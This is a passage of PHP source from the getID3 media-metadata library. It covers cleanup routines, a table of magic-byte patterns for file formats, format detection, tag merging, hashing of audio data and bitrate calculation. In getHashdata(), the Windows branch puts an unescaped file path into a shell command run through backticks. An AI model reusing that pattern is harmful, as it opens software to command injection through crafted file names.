				$this->CalculateReplayGain();
				$this->ProcessAudioStreams();
			}

			// get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_md5_data) {
				// do not calc md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too
				if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) {
					$this->getHashdata('md5');
				}
			}

			// get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
			if ($this->option_sha1_data) {
				$this->getHashdata('sha1');
			}

			// remove undesired keys
			$this->CleanUp();

		} catch (Exception $e) {
			$this->error('Caught exception: '.$e->getMessage());
		}

		// return info array
		return $this->info;
	}


	// private: error handling
	public function error($message) {
		$this->CleanUp();
		if (!isset($this->info['error'])) {
			$this->info['error'] = array();
		}
		$this->info['error'][] = $message;
		return $this->info;
	}


	// private: warning handling
	public function warning($message) {
		$this->info['warning'][] = $message;
		return true;
	}


	// private: CleanUp
	private function CleanUp() {

		// remove possible empty keys
		$AVpossibleEmptyKeys = array('dataformat', 'bits_per_sample', 'encoder_options', 'streams', 'bitrate');
		foreach ($AVpossibleEmptyKeys as $dummy => $key) {
			if (empty($this->info['audio'][$key]) && isset($this->info['audio'][$key])) {
				unset($this->info['audio'][$key]);
			}
			if (empty($this->info['video'][$key]) && isset($this->info['video'][$key])) {
				unset($this->info['video'][$key]);
			}
		}

		// remove empty root keys
		if (!empty($this->info)) {
			foreach ($this->info as $key => $value) {
				if (empty($this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) {
					unset($this->info[$key]);
				}
			}
		}

		// remove meaningless entries from unknown-format files
		if (empty($this->info['fileformat'])) {
			if (isset($this->info['avdataoffset'])) {
				unset($this->info['avdataoffset']);
			}
			if (isset($this->info['avdataend'])) {
				unset($this->info['avdataend']);
			}
		}

		// remove possible duplicated identical entries
		if (!empty($this->info['error'])) {
			$this->info['error'] = array_values(array_unique($this->info['error']));
		}
		if (!empty($this->info['warning'])) {
			$this->info['warning'] = array_values(array_unique($this->info['warning']));
		}

		// remove "global variable" type keys
		unset($this->info['php_memory_limit']);

		return true;
	}


	// return array containing information about all supported formats
	public function GetFileFormatArray() {
		static $format_info = array();
		if (empty($format_info)) {
			$format_info = array(

				// Audio formats

				// AC-3   - audio      - Dolby AC-3 / Dolby Digital
				'ac3'  => array(
							'pattern'   => '^\\x0B\\x77',
							'group'     => 'audio',
							'module'    => 'ac3',
							'mime_type' => 'audio/ac3',
						),

				// AAC  - audio       - Advanced Audio Coding (AAC) - ADIF format
				'adif' => array(
							'pattern'   => '^ADIF',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'application/octet-stream',
							'fail_ape'  => 'WARNING',
						),

/*
				// AA   - audio       - Audible Audiobook
				'aa'   => array(
							'pattern'   => '^.{4}\\x57\\x90\\x75\\x36',
							'group'     => 'audio',
							'module'    => 'aa',
							'mime_type' => 'audio/audible',
						),
*/
				// AAC  - audio       - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
				'adts' => array(
							'pattern'   => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]',
							'group'     => 'audio',
							'module'    => 'aac',
							'mime_type' => 'application/octet-stream',
							'fail_ape'  => 'WARNING',
						),


				// AU   - audio       - NeXT/Sun AUdio (AU)
				'au'   => array(
							'pattern'   => '^\\.snd',
							'group'     => 'audio',
							'module'    => 'au',
							'mime_type' => 'audio/basic',
						),

				// AMR  - audio       - Adaptive Multi Rate
				'amr'  => array(
							'pattern'   => '^\\x23\\x21AMR\\x0A', // #!AMR[0A]
							'group'     => 'audio',
							'module'    => 'amr',
							'mime_type' => 'audio/amr',
						),

				// AVR  - audio       - Audio Visual Research
				'avr'  => array(
							'pattern'   => '^2BIT',
							'group'     => 'audio',
							'module'    => 'avr',
							'mime_type' => 'application/octet-stream',
						),

				// BONK - audio       - Bonk v0.9+
				'bonk' => array(
							'pattern'   => '^\\x00(BONK|INFO|META| ID3)',
							'group'     => 'audio',
							'module'    => 'bonk',
							'mime_type' => 'audio/xmms-bonk',
						),

				// DSF  - audio       - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital
				'dsf'  => array(
							'pattern'   => '^DSD ',  // including trailing space: 44 53 44 20
							'group'     => 'audio',
							'module'    => 'dsf',
							'mime_type' => 'audio/dsd',
						),

				// DSS  - audio       - Digital Speech Standard
				'dss'  => array(
							'pattern'   => '^[\\x02-\\x06]ds[s2]',
							'group'     => 'audio',
							'module'    => 'dss',
							'mime_type' => 'application/octet-stream',
						),

				// DTS  - audio       - Dolby Theatre System
				'dts'  => array(
							'pattern'   => '^\\x7F\\xFE\\x80\\x01',
							'group'     => 'audio',
							'module'    => 'dts',
							'mime_type' => 'audio/dts',
						),

				// FLAC - audio       - Free Lossless Audio Codec
				'flac' => array(
							'pattern'   => '^fLaC',
							'group'     => 'audio',
							'module'    => 'flac',
							'mime_type' => 'audio/x-flac',
						),

				// LA   - audio       - Lossless Audio (LA)
				'la'   => array(
							'pattern'   => '^LA0[2-4]',
							'group'     => 'audio',
							'module'    => 'la',
							'mime_type' => 'application/octet-stream',
						),

				// LPAC - audio       - Lossless Predictive Audio Compression (LPAC)
				'lpac' => array(
							'pattern'   => '^LPAC',
							'group'     => 'audio',
							'module'    => 'lpac',
							'mime_type' => 'application/octet-stream',
						),

				// MIDI - audio       - MIDI (Musical Instrument Digital Interface)
				'midi' => array(
							'pattern'   => '^MThd',
							'group'     => 'audio',
							'module'    => 'midi',
							'mime_type' => 'audio/midi',
						),

				// MAC  - audio       - Monkey's Audio Compressor
				'mac'  => array(
							'pattern'   => '^MAC ',
							'group'     => 'audio',
							'module'    => 'monkey',
							'mime_type' => 'application/octet-stream',
						),

// has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available
//				// MOD  - audio       - MODule (assorted sub-formats)
//				'mod'  => array(
//							'pattern'   => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)',
//							'group'     => 'audio',
//							'module'    => 'mod',
//							'option'    => 'mod',
//							'mime_type' => 'audio/mod',
//						),

				// MOD  - audio       - MODule (Impulse Tracker)
				'it'   => array(
							'pattern'   => '^IMPM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'it',
							'mime_type' => 'audio/it',
						),

				// MOD  - audio       - MODule (eXtended Module, various sub-formats)
				'xm'   => array(
							'pattern'   => '^Extended Module',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 'xm',
							'mime_type' => 'audio/xm',
						),

				// MOD  - audio       - MODule (ScreamTracker)
				's3m'  => array(
							'pattern'   => '^.{44}SCRM',
							'group'     => 'audio',
							'module'    => 'mod',
							//'option'    => 's3m',
							'mime_type' => 'audio/s3m',
						),

				// MPC  - audio       - Musepack / MPEGplus
				'mpc'  => array(
							'pattern'   => '^(MPCK|MP\\+|[\\x00\\x01\\x10\\x11\\x40\\x41\\x50\\x51\\x80\\x81\\x90\\x91\\xC0\\xC1\\xD0\\xD1][\\x20-\\x37][\\x00\\x20\\x40\\x60\\x80\\xA0\\xC0\\xE0])',
							'group'     => 'audio',
							'module'    => 'mpc',
							'mime_type' => 'audio/x-musepack',
						),

				// MP3  - audio       - MPEG-audio Layer 3 (very similar to AAC-ADTS)
				'mp3'  => array(
							'pattern'   => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]',
							'group'     => 'audio',
							'module'    => 'mp3',
							'mime_type' => 'audio/mpeg',
						),

				// OFR  - audio       - OptimFROG
				'ofr'  => array(
							'pattern'   => '^(\\*RIFF|OFR)',
							'group'     => 'audio',
							'module'    => 'optimfrog',
							'mime_type' => 'application/octet-stream',
						),

				// RKAU - audio       - RKive AUdio compressor
				'rkau' => array(
							'pattern'   => '^RKA',
							'group'     => 'audio',
							'module'    => 'rkau',
							'mime_type' => 'application/octet-stream',
						),

				// SHN  - audio       - Shorten
				'shn'  => array(
							'pattern'   => '^ajkg',
							'group'     => 'audio',
							'module'    => 'shorten',
							'mime_type' => 'audio/xmms-shn',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TTA  - audio       - TTA Lossless Audio Compressor (http://tta.corecodec.org)
				'tta'  => array(
							'pattern'   => '^TTA',  // could also be '^TTA(\\x01|\\x02|\\x03|2|1)'
							'group'     => 'audio',
							'module'    => 'tta',
							'mime_type' => 'application/octet-stream',
						),

				// VOC  - audio       - Creative Voice (VOC)
				'voc'  => array(
							'pattern'   => '^Creative Voice File',
							'group'     => 'audio',
							'module'    => 'voc',
							'mime_type' => 'audio/voc',
						),

				// VQF  - audio       - transform-domain weighted interleave Vector Quantization Format (VQF)
				'vqf'  => array(
							'pattern'   => '^TWIN',
							'group'     => 'audio',
							'module'    => 'vqf',
							'mime_type' => 'application/octet-stream',
						),

				// WV  - audio        - WavPack (v4.0+)
				'wv'   => array(
							'pattern'   => '^wvpk',
							'group'     => 'audio',
							'module'    => 'wavpack',
							'mime_type' => 'application/octet-stream',
						),


				// Audio-Video formats

				// ASF  - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio
				'asf'  => array(
							'pattern'   => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C',
							'group'     => 'audio-video',
							'module'    => 'asf',
							'mime_type' => 'video/x-ms-asf',
							'iconv_req' => false,
						),

				// BINK - audio/video - Bink / Smacker
				'bink' => array(
							'pattern'   => '^(BIK|SMK)',
							'group'     => 'audio-video',
							'module'    => 'bink',
							'mime_type' => 'application/octet-stream',
						),

				// FLV  - audio/video - FLash Video
				'flv' => array(
							'pattern'   => '^FLV[\\x01]',
							'group'     => 'audio-video',
							'module'    => 'flv',
							'mime_type' => 'video/x-flv',
						),

				// MKAV - audio/video - Mastroka
				'matroska' => array(
							'pattern'   => '^\\x1A\\x45\\xDF\\xA3',
							'group'     => 'audio-video',
							'module'    => 'matroska',
							'mime_type' => 'video/x-matroska', // may also be audio/x-matroska
						),

				// MPEG - audio/video - MPEG (Moving Pictures Experts Group)
				'mpeg' => array(
							'pattern'   => '^\\x00\\x00\\x01[\\xB3\\xBA]',
							'group'     => 'audio-video',
							'module'    => 'mpeg',
							'mime_type' => 'video/mpeg',
						),

				// NSV  - audio/video - Nullsoft Streaming Video (NSV)
				'nsv'  => array(
							'pattern'   => '^NSV[sf]',
							'group'     => 'audio-video',
							'module'    => 'nsv',
							'mime_type' => 'application/octet-stream',
						),

				// Ogg  - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*))
				'ogg'  => array(
							'pattern'   => '^OggS',
							'group'     => 'audio',
							'module'    => 'ogg',
							'mime_type' => 'application/ogg',
							'fail_id3'  => 'WARNING',
							'fail_ape'  => 'WARNING',
						),

				// QT   - audio/video - Quicktime
				'quicktime' => array(
							'pattern'   => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)',
							'group'     => 'audio-video',
							'module'    => 'quicktime',
							'mime_type' => 'video/quicktime',
						),

				// RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
				'riff' => array(
							'pattern'   => '^(RIFF|SDSS|FORM)',
							'group'     => 'audio-video',
							'module'    => 'riff',
							'mime_type' => 'audio/x-wav',
							'fail_ape'  => 'WARNING',
						),

				// Real - audio/video - RealAudio, RealVideo
				'real' => array(
							'pattern'   => '^\\.(RMF|ra)',
							'group'     => 'audio-video',
							'module'    => 'real',
							'mime_type' => 'audio/x-realaudio',
						),

				// SWF - audio/video - ShockWave Flash
				'swf' => array(
							'pattern'   => '^(F|C)WS',
							'group'     => 'audio-video',
							'module'    => 'swf',
							'mime_type' => 'application/x-shockwave-flash',
						),

				// TS - audio/video - MPEG-2 Transport Stream
				'ts' => array(
							'pattern'   => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G".  Check for at least 10 packets matching this pattern
							'group'     => 'audio-video',
							'module'    => 'ts',
							'mime_type' => 'video/MP2T',
						),


				// Still-Image formats

				// BMP  - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4)
				'bmp'  => array(
							'pattern'   => '^BM',
							'group'     => 'graphic',
							'module'    => 'bmp',
							'mime_type' => 'image/bmp',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GIF  - still image - Graphics Interchange Format
				'gif'  => array(
							'pattern'   => '^GIF',
							'group'     => 'graphic',
							'module'    => 'gif',
							'mime_type' => 'image/gif',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// JPEG - still image - Joint Photographic Experts Group (JPEG)
				'jpg'  => array(
							'pattern'   => '^\\xFF\\xD8\\xFF',
							'group'     => 'graphic',
							'module'    => 'jpg',
							'mime_type' => 'image/jpeg',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PCD  - still image - Kodak Photo CD
				'pcd'  => array(
							'pattern'   => '^.{2048}PCD_IPI\\x00',
							'group'     => 'graphic',
							'module'    => 'pcd',
							'mime_type' => 'image/x-photo-cd',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// PNG  - still image - Portable Network Graphics (PNG)
				'png'  => array(
							'pattern'   => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A',
							'group'     => 'graphic',
							'module'    => 'png',
							'mime_type' => 'image/png',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// SVG  - still image - Scalable Vector Graphics (SVG)
				'svg'  => array(
							'pattern'   => '(<!DOCTYPE svg PUBLIC |xmlns="http://www\\.w3\\.org/2000/svg")',
							'group'     => 'graphic',
							'module'    => 'svg',
							'mime_type' => 'image/svg+xml',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// TIFF - still image - Tagged Information File Format (TIFF)
				'tiff' => array(
							'pattern'   => '^(II\\x2A\\x00|MM\\x00\\x2A)',
							'group'     => 'graphic',
							'module'    => 'tiff',
							'mime_type' => 'image/tiff',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// EFAX - still image - eFax (TIFF derivative)
				'efax'  => array(
							'pattern'   => '^\\xDC\\xFE',
							'group'     => 'graphic',
							'module'    => 'efax',
							'mime_type' => 'image/efax',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Data formats

				// ISO  - data        - International Standards Organization (ISO) CD-ROM Image
				'iso'  => array(
							'pattern'   => '^.{32769}CD001',
							'group'     => 'misc',
							'module'    => 'iso',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
							'iconv_req' => false,
						),

				// RAR  - data        - RAR compressed data
				'rar'  => array(
							'pattern'   => '^Rar\\!',
							'group'     => 'archive',
							'module'    => 'rar',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// SZIP - audio/data  - SZIP compressed data
				'szip' => array(
							'pattern'   => '^SZ\\x0A\\x04',
							'group'     => 'archive',
							'module'    => 'szip',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// TAR  - data        - TAR compressed data
				'tar'  => array(
							'pattern'   => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}',
							'group'     => 'archive',
							'module'    => 'tar',
							'mime_type' => 'application/x-tar',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// GZIP  - data        - GZIP compressed data
				'gz'  => array(
							'pattern'   => '^\\x1F\\x8B\\x08',
							'group'     => 'archive',
							'module'    => 'gzip',
							'mime_type' => 'application/x-gzip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// ZIP  - data         - ZIP compressed data
				'zip'  => array(
							'pattern'   => '^PK\\x03\\x04',
							'group'     => 'archive',
							'module'    => 'zip',
							'mime_type' => 'application/zip',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),


				// Misc other formats

				// PAR2 - data        - Parity Volume Set Specification 2.0
				'par2' => array (
							'pattern'   => '^PAR2\\x00PKT',
							'group'     => 'misc',
							'module'    => 'par2',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// PDF  - data        - Portable Document Format
				'pdf'  => array(
							'pattern'   => '^\\x25PDF',
							'group'     => 'misc',
							'module'    => 'pdf',
							'mime_type' => 'application/pdf',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				// MSOFFICE  - data   - ZIP compressed data
				'msoffice' => array(
							'pattern'   => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document
							'group'     => 'misc',
							'module'    => 'msoffice',
							'mime_type' => 'application/octet-stream',
							'fail_id3'  => 'ERROR',
							'fail_ape'  => 'ERROR',
						),

				 // CUE  - data       - CUEsheet (index to single-file disc images)
				 'cue' => array(
							'pattern'   => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents
							'group'     => 'misc',
							'module'    => 'cue',
							'mime_type' => 'application/octet-stream',
						   ),

			);
		}

		return $format_info;
	}



	public function GetFileFormat(&$filedata, $filename='') {
		// this function will determine the format of a file based on usually
		// the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG,
		// and in the case of ISO CD image, 6 bytes offset 32kb from the start
		// of the file).

		// Identify file format - loop through $format_info and detect with reg expr
		foreach ($this->GetFileFormatArray() as $format_name => $info) {
			// The /s switch on preg_match() forces preg_match() NOT to treat
			// newline (0x0A) characters as special chars but do a binary match
			if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) {
				$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
				return $info;
			}
		}


		if (preg_match('#\\.mp[123a]$#i', $filename)) {
			// Too many mp3 encoders on the market put gabage in front of mpeg files
			// use assume format on these if format detection failed
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['mp3'];
			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		} elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) {
			// there's not really a useful consistent "magic" at the beginning of .cue files to identify them
			// so until I think of something better, just go by filename if all other format checks fail
			// and verify there's at least one instance of "TRACK xx AUDIO" in the file
			$GetFileFormatArray = $this->GetFileFormatArray();
			$info = $GetFileFormatArray['cue'];
			$info['include']   = 'module.'.$info['group'].'.'.$info['module'].'.php';
			return $info;
		}

		return false;
	}


	// converts array to $encoding charset from $this->encoding
	public function CharConvert(&$array, $encoding) {

		// identical encoding - end here
		if ($encoding == $this->encoding) {
			return;
		}

		// loop thru array
		foreach ($array as $key => $value) {

			// go recursive
			if (is_array($value)) {
				$this->CharConvert($array[$key], $encoding);
			}

			// convert string
			elseif (is_string($value)) {
				$array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value));
			}
		}
	}


	public function HandleAllTags() {

		// key name => array (tag name, character encoding)
		static $tags;
		if (empty($tags)) {
			$tags = array(
				'asf'       => array('asf'           , 'UTF-16LE'),
				'midi'      => array('midi'          , 'ISO-8859-1'),
				'nsv'       => array('nsv'           , 'ISO-8859-1'),
				'ogg'       => array('vorbiscomment' , 'UTF-8'),
				'png'       => array('png'           , 'UTF-8'),
				'tiff'      => array('tiff'          , 'ISO-8859-1'),
				'quicktime' => array('quicktime'     , 'UTF-8'),
				'real'      => array('real'          , 'ISO-8859-1'),
				'vqf'       => array('vqf'           , 'ISO-8859-1'),
				'zip'       => array('zip'           , 'ISO-8859-1'),
				'riff'      => array('riff'          , 'ISO-8859-1'),
				'lyrics3'   => array('lyrics3'       , 'ISO-8859-1'),
				'id3v1'     => array('id3v1'         , $this->encoding_id3v1),
				'id3v2'     => array('id3v2'         , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8
				'ape'       => array('ape'           , 'UTF-8'),
				'cue'       => array('cue'           , 'ISO-8859-1'),
				'matroska'  => array('matroska'      , 'UTF-8'),
				'flac'      => array('vorbiscomment' , 'UTF-8'),
				'divxtag'   => array('divx'          , 'ISO-8859-1'),
				'iptc'      => array('iptc'          , 'ISO-8859-1'),
			);
		}

		// loop through comments array
		foreach ($tags as $comment_name => $tagname_encoding_array) {
			list($tag_name, $encoding) = $tagname_encoding_array;

			// fill in default encoding type if not already present
			if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) {
				$this->info[$comment_name]['encoding'] = $encoding;
			}

			// copy comments if key name set
			if (!empty($this->info[$comment_name]['comments'])) {
				foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) {
					foreach ($valuearray as $key => $value) {
						if (is_string($value)) {
							$value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed!
						}
						if ($value) {
							if (!is_numeric($key)) {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value;
							} else {
								$this->info['tags'][trim($tag_name)][trim($tag_key)][]     = $value;
							}
						}
					}
					if ($tag_key == 'picture') {
						unset($this->info[$comment_name]['comments'][$tag_key]);
					}
				}

				if (!isset($this->info['tags'][$tag_name])) {
					// comments are set but contain nothing but empty strings, so skip
					continue;
				}

				$this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']);           // only copy gets converted!

				if ($this->option_tags_html) {
					foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) {
						$this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']);
					}
				}

			}

		}

		// pictures can take up a lot of space, and we don't need multiple copies of them
		// let there be a single copy in [comments][picture], and not elsewhere
		if (!empty($this->info['tags'])) {
			$unset_keys = array('tags', 'tags_html');
			foreach ($this->info['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					if ($tagname == 'picture') {
						foreach ($tagdata as $key => $tagarray) {
							$this->info['comments']['picture'][] = $tagarray;
							if (isset($tagarray['data']) && isset($tagarray['image_mime'])) {
								if (isset($this->info['tags'][$tagtype][$tagname][$key])) {
									unset($this->info['tags'][$tagtype][$tagname][$key]);
								}
								if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) {
									unset($this->info['tags_html'][$tagtype][$tagname][$key]);
								}
							}
						}
					}
				}
				foreach ($unset_keys as $unset_key) {
					// remove possible empty keys from (e.g. [tags][id3v2][picture])
					if (empty($this->info[$unset_key][$tagtype]['picture'])) {
						unset($this->info[$unset_key][$tagtype]['picture']);
					}
					if (empty($this->info[$unset_key][$tagtype])) {
						unset($this->info[$unset_key][$tagtype]);
					}
					if (empty($this->info[$unset_key])) {
						unset($this->info[$unset_key]);
					}
				}
				// remove duplicate copy of picture data from (e.g. [id3v2][comments][picture])
				if (isset($this->info[$tagtype]['comments']['picture'])) {
					unset($this->info[$tagtype]['comments']['picture']);
				}
				if (empty($this->info[$tagtype]['comments'])) {
					unset($this->info[$tagtype]['comments']);
				}
				if (empty($this->info[$tagtype])) {
					unset($this->info[$tagtype]);
				}
			}
		}
		return true;
	}

	public function getHashdata($algorithm) {
		switch ($algorithm) {
			case 'md5':
			case 'sha1':
				break;

			default:
				return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()');
				break;
		}

		if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) {

			// We cannot get an identical md5_data value for Ogg files where the comments
			// span more than 1 Ogg page (compared to the same audio data with smaller
			// comments) using the normal getID3() method of MD5'ing the data between the
			// end of the comments and the end of the file (minus any trailing tags),
			// because the page sequence numbers of the pages that the audio data is on
			// do not match. Under normal circumstances, where comments are smaller than
			// the nominal 4-8kB page size, then this is not a problem, but if there are
			// very large comments, the only way around it is to strip off the comment
			// tags with vorbiscomment and MD5 that file.
			// This procedure must be applied to ALL Ogg files, not just the ones with
			// comments larger than 1 page, because the below method simply MD5's the
			// whole file with the comments stripped, not just the portion after the
			// comments block (which is the standard getID3() method.

			// The above-mentioned problem of comments spanning multiple pages and changing
			// page sequence numbers likely happens for OggSpeex and OggFLAC as well, but
			// currently vorbiscomment only works on OggVorbis files.

			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {

				$this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)');
				$this->info[$algorithm.'_data'] = false;

			} else {

				// Prevent user from aborting script
				$old_abort = ignore_user_abort(true);

				// Create empty file
				$empty = tempnam(GETID3_TEMP_DIR, 'getID3');
				touch($empty);

				// Use vorbiscomment to make temp file without comments
				$temp = tempnam(GETID3_TEMP_DIR, 'getID3');
				$file = $this->info['filenamepath'];

				if (GETID3_OS_ISWINDOWS) {

					if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) {

						$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"';
						$VorbisCommentError = `$commandline`;

					} else {

						$VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR;

					}

				} else {

					$commandline = 'vorbiscomment -w -c "'.$empty.'" "'.$file.'" "'.$temp.'" 2>&1';
					$commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1';
					$VorbisCommentError = `$commandline`;

				}

				if (!empty($VorbisCommentError)) {

					$this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError);
					$this->info[$algorithm.'_data'] = false;

				} else {

					// Get hash of newly created file
					switch ($algorithm) {
						case 'md5':
							$this->info[$algorithm.'_data'] = md5_file($temp);
							break;

						case 'sha1':
							$this->info[$algorithm.'_data'] = sha1_file($temp);
							break;
					}
				}

				// Clean up
				unlink($empty);
				unlink($temp);

				// Reset abort setting
				ignore_user_abort($old_abort);

			}

		} else {

			if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) {

				// get hash from part of file
				$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm);

			} else {

				// get hash from whole file
				switch ($algorithm) {
					case 'md5':
						$this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']);
						break;

					case 'sha1':
						$this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']);
						break;
				}
			}

		}
		return true;
	}


	public function ChannelsBitratePlaytimeCalculations() {

		// set channelmode on audio
		if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) {
			// ignore
		} elseif ($this->info['audio']['channels'] == 1) {
			$this->info['audio']['channelmode'] = 'mono';
		} elseif ($this->info['audio']['channels'] == 2) {
			$this->info['audio']['channelmode'] = 'stereo';
		}

		// Calculate combined bitrate - audio + video
		$CombinedBitrate  = 0;
		$CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0);
		$CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0);
		if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) {
			$this->info['bitrate'] = $CombinedBitrate;
		}
		//if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) {
		//	// for example, VBR MPEG video files cannot determine video bitrate:
		//	// should not set overall bitrate and playtime from audio bitrate only
		//	unset($this->info['bitrate']);
		//}

		// video bitrate undetermined, but calculable
		if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) {
			// if video bitrate not set
			if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) {
				// AND if audio bitrate is set to same as overall bitrate
				if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) {
					// AND if playtime is set
					if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) {
						// AND if AV data offset start/end is known
						// THEN we can calculate the video bitrate
						$this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']);
						$this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate'];
					}
				}
			}
		}

		if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) {
